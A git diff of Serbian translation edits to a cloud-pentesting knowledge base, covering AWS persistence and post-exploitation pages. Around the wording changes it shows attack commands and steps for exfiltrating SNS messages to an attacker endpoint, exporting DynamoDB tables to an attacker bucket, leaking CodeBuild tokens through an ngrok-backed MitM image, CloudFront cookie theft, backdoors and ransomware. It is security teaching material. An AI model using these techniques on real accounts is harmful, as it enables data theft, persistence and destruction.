**`MySNS.fifo`**: ```json { "Version": "2008-10-17", @@ -67,7 +67,7 @@ Sledeća politika daje svima u AWS-u pristup za čitanje i pisanje u SNS temu po Da bi se nastavilo sa eksfiltracijom svih poruka sa svih tema, napadač može **kreirati pretplatnike za sve teme**. -Napomena: ako je **tema tipa FIFO**, samo pretplatnici koji koriste protokol **SQS** mogu se koristiti. +Napomena: ako je **tema tipa FIFO**, mogu se koristiti samo pretplatnici koji koriste protokol **SQS**. ```bash aws sns subscribe --region \ --protocol http \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md index 19a9d914b..58d215082 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md @@ -32,6 +32,6 @@ Sledeća politika daje svima u AWS-u pristup svemu u redu pod nazivom **MyTestQu } ``` > [!NOTE] -> Možete čak **pokrenuti Lambda u nalogu napadača svaki put kada se nova poruka** stavi u red (morali biste je ponovo staviti) na neki način. Za ovo pratite ove instrukcije: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) +> Možete čak **pokrenuti Lambda funkciju u nalogu napadača svaki put kada se nova poruka** stavi u red (morali biste je ponovo staviti) na neki način. Za ovo pratite ove upute: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md index 3bd0aae28..1bf2dfc05 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md @@ -1 +1 @@ -# AWS - SSM Perssitence +# AWS - SSM Persistencija diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md index 8dc3aeb6e..b02007fd6 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md @@ -12,10 +12,10 @@ Za više informacija pogledajte: ### Backdooring step funkcija -Backdoor-ujte step funkciju da izvršava bilo koju tehniku persistencije tako da svaki put kada se izvrši, pokreće vaše zlonamerne korake. +Backdoor-ujte step funkciju da izvršava bilo koju tehniku persistencije tako da svaki put kada se izvrši, pokreće vaše maliciozne korake. ### Backdooring aliasa -Ako AWS nalog koristi alias za pozivanje step funkcija, bilo bi moguće modifikovati alias da koristi novu backdoor-ovanu verziju step funkcije. +Ako AWS nalog koristi alias-e za pozivanje step funkcija, bilo bi moguće modifikovati alias da koristi novu backdoor-ovanu verziju step funkcije. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md index 9748e8d7f..693027cf8 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md @@ -12,7 +12,7 @@ Za više informacija pristupite: ### Assume role token -Privremeni tokeni se ne mogu listati, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti. +Privremeni tokeni ne mogu biti navedeni, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti.
aws sts get-session-token --duration-seconds 129600
 
@@ -21,16 +21,16 @@ aws sts get-session-token \
 --serial-number <mfa-device-name> \
 --token-code <code-from-token>
 
-# Ime hardverskog uređaja je obično broj sa zadnje strane uređaja, kao što je GAHT12345678
+# Ime hardverskog uređaja obično je broj sa zadnje strane uređaja, kao što je GAHT12345678
 # Ime SMS uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:sms-mfa/username
 # Ime virtuelnog uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:mfa/username
 
### Role Chain Juggling -[**Lanci uloga su priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na početnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala. +[**Role chaining je priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na početnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala. -Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa lancima uloga: +Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa prebacivanjem uloga: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 9c9301504..dd962f6cb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -13,13 +13,13 @@ Za više informacija pogledajte: ### Pristup neizloženim API-ima Možete kreirati endpoint na [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno putem EC2 mašine) i dodeliti sigurnosnu grupu koja omogućava sve veze.\ -Zatim, sa EC2 mašine moći ćete da pristupite endpoint-u i tako pozovete gateway API koji nije bio izložen ranije. +Zatim, sa EC2 mašine moći ćete da pristupite endpoint-u i tako pozovete gateway API koji prethodno nije bio izložen. ### Obilaženje Request body passthrough Ova tehnika je pronađena u [**ovom CTF izveštaju**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -Kao što je navedeno u [**AWS dokumentaciji**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** header-a zahteva, će proslediti zahtev ka back end-u bez transformacije. +Kao što je navedeno u [**AWS dokumentaciji**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** header-a zahteva, će proslediti zahtev na backend bez transformacije. Stoga, u CTF-u je API Gateway imao integracioni šablon koji je **sprečavao da se zastavica exfiltrira** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`: ```yaml @@ -36,7 +36,7 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers U sekciji **Enumeration** možete videti kako da **dobijete plan korišćenja** ključeva. Ako imate ključ i on je **ograničen** na X korišćenja **mesečno**, možete **samo da ga koristite i izazovete DoS**. -**API Key** samo treba da bude **uključen** unutar **HTTP header-a** pod nazivom **`x-api-key`**. +**API Key** samo treba da bude **uključen** unutar **HTTP header-a** nazvanog **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` @@ -51,9 +51,9 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima. +**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima. -> [!NOTE] +> [!NAPOMENA] > Potrebno testiranje ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` @@ -91,7 +91,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima. -> [!NOTE] +> [!NAPOMENA] > Potrebno testiranje ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` @@ -108,12 +108,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potencijalni uticaj**: Slabljenje bezbednosti API-ja, što potencijalno omogućava neovlašćen pristup ili izlaganje osetljivih informacija. -> [!NOTE] +> [!NAPOMENA] > Potrebno testiranje ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, i `apigateway:CreateUsagePlanKey` može **kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-jevima**. +Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` i `apigateway:CreateUsagePlanKey` može **kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-jima**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 70720bc76..788baa123 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -12,7 +12,7 @@ Za više informacija pogledajte: ### Man-in-the-Middle -Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili izmeniti ako se već koristi) u **komunikaciji kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je sesijski **kolačić**) i **modifikacije** **odgovora** (ubacivanje malicioznog JS skripta). +Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili modifikovati ako se već koristi) u **komunikaciji kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je sesijski **kolačić**) i **modifikacije** **odgovora** (ubacivanje malicioznog JS skripta). #### scenario 1: MitM gde je CloudFront konfigurisana da pristupa nekom HTML-u iz bucket-a @@ -24,8 +24,8 @@ Pristupajući odgovoru, mogli biste ukrasti korisnički kolačić i ubaciti mali #### scenario 2: MitM gde CloudFront već koristi lambda funkciju -- **Izmenite kod** lambda funkcije da biste ukrali osetljive informacije. +- **Modifikujte kod** lambda funkcije da biste ukrali osetljive informacije. -Možete proveriti [**tf kod za rekreaciju ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Možete proveriti [**tf kod za rekreiranje ovih scenarija ovde**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 027b52772..8060e8cf3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -12,7 +12,7 @@ Za više informacija, proverite: ### Proverite Tajne -Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ovi **kredencijali će biti sačuvani kao tajne u menadžeru tajni**.\ +Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ove **kredencijale će biti sačuvane kao tajne u menadžeru tajni**.\ Stoga, ako imate pristup za čitanje menadžera tajni, moći ćete da dobijete ove tajne i pređete na povezanu platformu. {{#ref}} @@ -35,12 +35,12 @@ Da bi to uradio, napadač bi samo trebao da **promeni URL repozitorijuma na svak I **promeni Buildspec komande da eksfiltrira svaki repozitorijum**. > [!WARNING] -> Međutim, ova **aktivnost je repetitivna i dosadna** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\ +> Međutim, ovaj **zadatak je ponavljajući i zamoran** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\ > Ili možda ima? Proverite sledeću sekciju -### Otkivanje Pristupnih Tokena iz AWS CodeBuild +### Otkriće Pristupnih Tokena iz AWS CodeBuild -Možete otkriti pristup dat u CodeBuild platformama poput Github-a. Proverite da li je bilo datog pristupa spoljnim platformama sa: +Možete otkriti pristup dat u CodeBuild platformama kao što je Github. Proverite da li je bilo datog pristupa spoljnim platformama sa: ```bash aws codebuild list-source-credentials ``` @@ -58,7 +58,7 @@ aws codebuild delete-project --name ### `codebuild:TagResource` , `codebuild:UntagResource` -Napadač bi mogao da doda, izmeni ili ukloni oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama. +Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index 8bc0b994b..2df90e5d7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -8,9 +8,9 @@ Prvo, proverite da li postoje bilo akreditivi izvora koji su konfigurirani koje ```bash aws codebuild list-source-credentials ``` -### Via Docker Image +### Putem Docker slike -Ako otkrijete da je autentifikacija, na primer, za Github postavljena na nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta. +Ako otkrijete da je autentifikacija na primer za Github postavljena u nalogu, možete **izvršiti** tu **pristup** (**GH token ili OAuth token**) tako što ćete naterati Codebuild da **koristi specifičnu docker sliku** za pokretanje izgradnje projekta. U tu svrhu možete **napraviti novi Codebuild projekat** ili promeniti **okruženje** postojećeg da postavite **Docker sliku**. @@ -20,7 +20,7 @@ Docker slika koju možete koristiti je [https://github.com/carlospolop/docker-mi - Pratite uputstva iz repozitorijuma da postavite svoju proxy IP adresu i postavite svoj SSL certifikat i **izgradite docker sliku**. - **NE POSTAVLJAJTE `http_proxy`** da ne biste presreli zahteve ka metadata endpoint-u. - Možete koristiti **`ngrok`** kao `ngrok tcp 4444` da postavite proxy na vaš host. -- Kada izgradite Docker sliku, **otpremite je na javni repo** (Dockerhub, ECR...) +- Kada izgradite Docker sliku, **otpremite je na javni repozitorijum** (Dockerhub, ECR...) 2. **Postavite okruženje** - Kreirajte **novi Codebuild projekat** ili **izmenite** okruženje postojećeg. - Postavite projekat da koristi **prethodno generisanu Docker sliku**. @@ -73,7 +73,7 @@ aws codebuild start-build --project-name my-project2 ``` ### Via insecureSSL -**Codebuild** projekti imaju podešavanje pod nazivom **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\ +**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na vebu i može se promeniti samo putem API-ja.\ Omogućavanje ovoga omogućava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji nudi platforma. - Prvo treba da enumerišete trenutnu konfiguraciju sa nečim poput: diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index 1cb69af3d..da515be0d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -1,8 +1,8 @@ -# AWS - Control Tower Post Exploitation +# AWS - Kontrolna Kula Post Eksploatacija {{#include ../../../banners/hacktricks-training.md}} -## Control Tower +## Kontrolna Kula {{#ref}} ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -10,7 +10,7 @@ ### Omogućite / Onemogućite Kontrole -Da biste dodatno iskoristili nalog, možda ćete morati da onemogućite/omogućite kontrole Control Tower-a: +Da biste dodatno iskoristili nalog, možda ćete morati da onemogućite/omogućite kontrole Kontrolne Kule: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index 6666f4aa8..96b70ad10 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Menadžer životnog ciklusa podataka (DLM) +## Data Lifecycle Manger (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -Napad ransomware-a može se izvršiti šifrovanjem što je moguće više EBS volumena, a zatim brisanjem trenutnih EC2 instanci, EBS volumena i snimaka. Da bi se automatizovala ova zla aktivnost, može se koristiti Amazon DLM, šifrujući snimke sa KMS ključem iz drugog AWS naloga i prebacujući šifrovane snimke na drugi nalog. Alternativno, mogu prebaciti snimke bez šifrovanja na nalog koji upravljaju, a zatim ih tamo šifrovati. Iako nije jednostavno direktno šifrovati postojeće EBS volumene ili snimke, to je moguće učiniti kreiranjem novog volumena ili snimka. +Napad ransomware-a može se izvršiti šifrovanjem što više EBS volumena kao što je moguće, a zatim brisanjem trenutnih EC2 instanci, EBS volumena i snimaka. Da bi se automatizovala ova zla aktivnost, može se koristiti Amazon DLM, šifrujući snimke sa KMS ključem iz drugog AWS naloga i prebacujući šifrovane snimke na drugi nalog. Alternativno, mogu prebaciti snimke bez šifrovanja na nalog koji upravljaju, a zatim ih tamo šifrovati. Iako nije jednostavno direktno šifrovati postojeće EBS volumene ili snimke, to je moguće učiniti kreiranjem novog volumena ili snimka. Prvo, koristiće se komanda za prikupljanje informacija o volumenima, kao što su ID instance, ID volumena, status šifrovanja, status povezivanja i tip volumena. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index e0a9916f3..f11173502 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -4,7 +4,7 @@ ## DynamoDB -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -43,7 +43,7 @@ aws dynamodb batch-get-item \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli ### `dynamodb:GetItem` @@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json } } ``` -Sa ovom dozvolom je takođe moguće koristiti metodu **`transact-get-items`** kao: +Sa ovom dozvolom takođe je moguće koristiti metodu **`transact-get-items`** kao: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json @@ -79,7 +79,7 @@ aws dynamodb transact-get-items \ ### `dynamodb:Query` -**Slično prethodnim dozvolama** ova omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koje mora biti prisutno) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu. +**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da čita vrednosti iz samo 1 tabele, s obzirom na primarni ključ unosa koji treba preuzeti. Omogućava korišćenje [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje koje je dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu DB u jednom zahtevu. {{#tabs }} {{#tab name="json file" }} @@ -107,15 +107,15 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli ### `dynamodb:Scan` -Možete koristiti ovu dozvolu da **lako izbacite celu tabelu**. +Možete koristiti ovu dozvolu da **lako izvučete celu tabelu**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u tabeli +**Potencijalni uticaj:** Indirektno povećanje privilegija lociranjem osetljivih informacija u tabeli ### `dynamodb:PartiQLSelect` @@ -129,13 +129,13 @@ Ova dozvola takođe omogućava izvršavanje `batch-execute-statement` kao: aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` -ali morate da navedete primarni ključ sa vrednošću, tako da nije toliko korisno. +ali morate da navedete primarni ključ sa vrednošću, tako da to nije previše korisno. **Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u tabeli ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Ova dozvola će omogućiti napadaču da **izveze celu tabelu u S3 kantu** po njegovom izboru: +Ova dozvola će omogućiti napadaču da **izveze celu tabelu u S3 bucket** po svom izboru: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -159,18 +159,18 @@ aws dynamodb update-continuous-backups \ ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Sa ovim dozvolama, napadač bi mogao da **napravi novu tabelu iz rezervne kopije** (ili čak da napravi rezervnu kopiju koju bi zatim obnovio u drugoj tabeli). Zatim, sa potrebnim dozvolama, mogao bi da proveri **informacije** iz rezervnih kopija koje **više ne bi mogle biti u produkcijskoj** tabeli. +Sa ovim dozvolama, napadač bi mogao da **napravi novu tabelu iz rezervne kopije** (ili čak da napravi rezervnu kopiju koju bi zatim mogao da vrati u drugu tabelu). Zatim, sa potrebnim dozvolama, mogao bi da proveri **informacije** iz rezervnih kopija koje **više ne bi mogle biti u produkcijskoj** tabeli. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Potencijalni uticaj:** Indirektno privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele +**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u rezervnoj kopiji tabele ### `dynamodb:PutItem` -Ova dozvola omogućava korisnicima da dodaju **novi predmet u tabelu ili zamene postojeći predmet** novim predmetom. Ako predmet sa istim primarnim ključem već postoji, **ceo predmet će biti zamenjen** novim predmetom. Ako primarni ključ ne postoji, novi predmet sa navedenim primarnim ključem će biti **kreiran**. +Ova dozvola omogućava korisnicima da dodaju **novi predmet u tabelu ili zamene postojeći predmet** novim predmetom. Ako predmet sa istim primarnim ključem već postoji, **ceo predmet će biti zamenjen** novim predmetom. Ako primarni ključ ne postoji, novi predmet sa specificiranim primarnim ključem će biti **kreiran**. {{#tabs }} {{#tab name="XSS Example" }} @@ -192,7 +192,7 @@ aws dynamodb put-item --table --item file://add.json ``` {{#endtab }} -{{#tab name="AI Primer" }} +{{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ @@ -230,7 +230,7 @@ aws dynamodb update-item --table \ ``` {{#endtab }} -{{#tab name="AI Primer" }} +{{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ @@ -242,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Potencijalni uticaj:** Iskorišćavanje daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikacije podataka u DynamoDB tabeli +**Potencijalni uticaj:** Eksploatacija daljih ranjivosti/zaobilaženja omogućavanjem dodavanja/modifikovanja podataka u DynamoDB tabeli ### `dynamodb:DeleteTable` @@ -256,7 +256,7 @@ aws dynamodb delete-table \ ### `dynamodb:DeleteBackup` -Napadač sa ovom dozvolom može **obrisati DynamoDB rezervnu kopiju, potencijalno uzrokujući gubitak podataka u slučaju scenarija oporavka od katastrofe**. +Napadač sa ovom dozvolom može **obrisati DynamoDB rezervnu kopiju, što može izazvati gubitak podataka u slučaju scenarija oporavka od katastrofe**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ @@ -266,19 +266,19 @@ aws dynamodb delete-backup \ ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` -> [!NOTE] +> [!NAPOMENA] > TODO: Testirati da li ovo zapravo funkcioniše -Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da prati i exfiltrira promene podataka, što može dovesti do curenja podataka. +Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da započne strimovanje promena, a zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da prati i eksfiltrira promene podataka, što može dovesti do curenja podataka. -1. Omogućiti stream na DynamoDB tabeli: +1. Omogućite stream na DynamoDB tabeli: ```bash bashCopy codeaws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Opišite tok za dobijanje ARN-a i drugih detalja: +2. Opisati tok za dobijanje ARN-a i drugih detalja: ```bash bashCopy codeaws dynamodb describe-stream \ --table-name TargetTable \ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 403df4570..a2b69a2a6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -Za više informacija pogledajte: +Za više informacija proverite: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,10 +12,10 @@ Za više informacija pogledajte: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplira ulazni i izlazni saobraćaj za EC2 instance unutar VPC** bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) radi analize i nadgledanja.\ +VPC traffic mirroring **duplira dolazni i odlazni saobraćaj za EC2 instance unutar VPC** bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) na analizu i praćenje.\ Napadač bi mogao da iskoristi ovo da uhvati sav saobraćaj i dobije osetljive 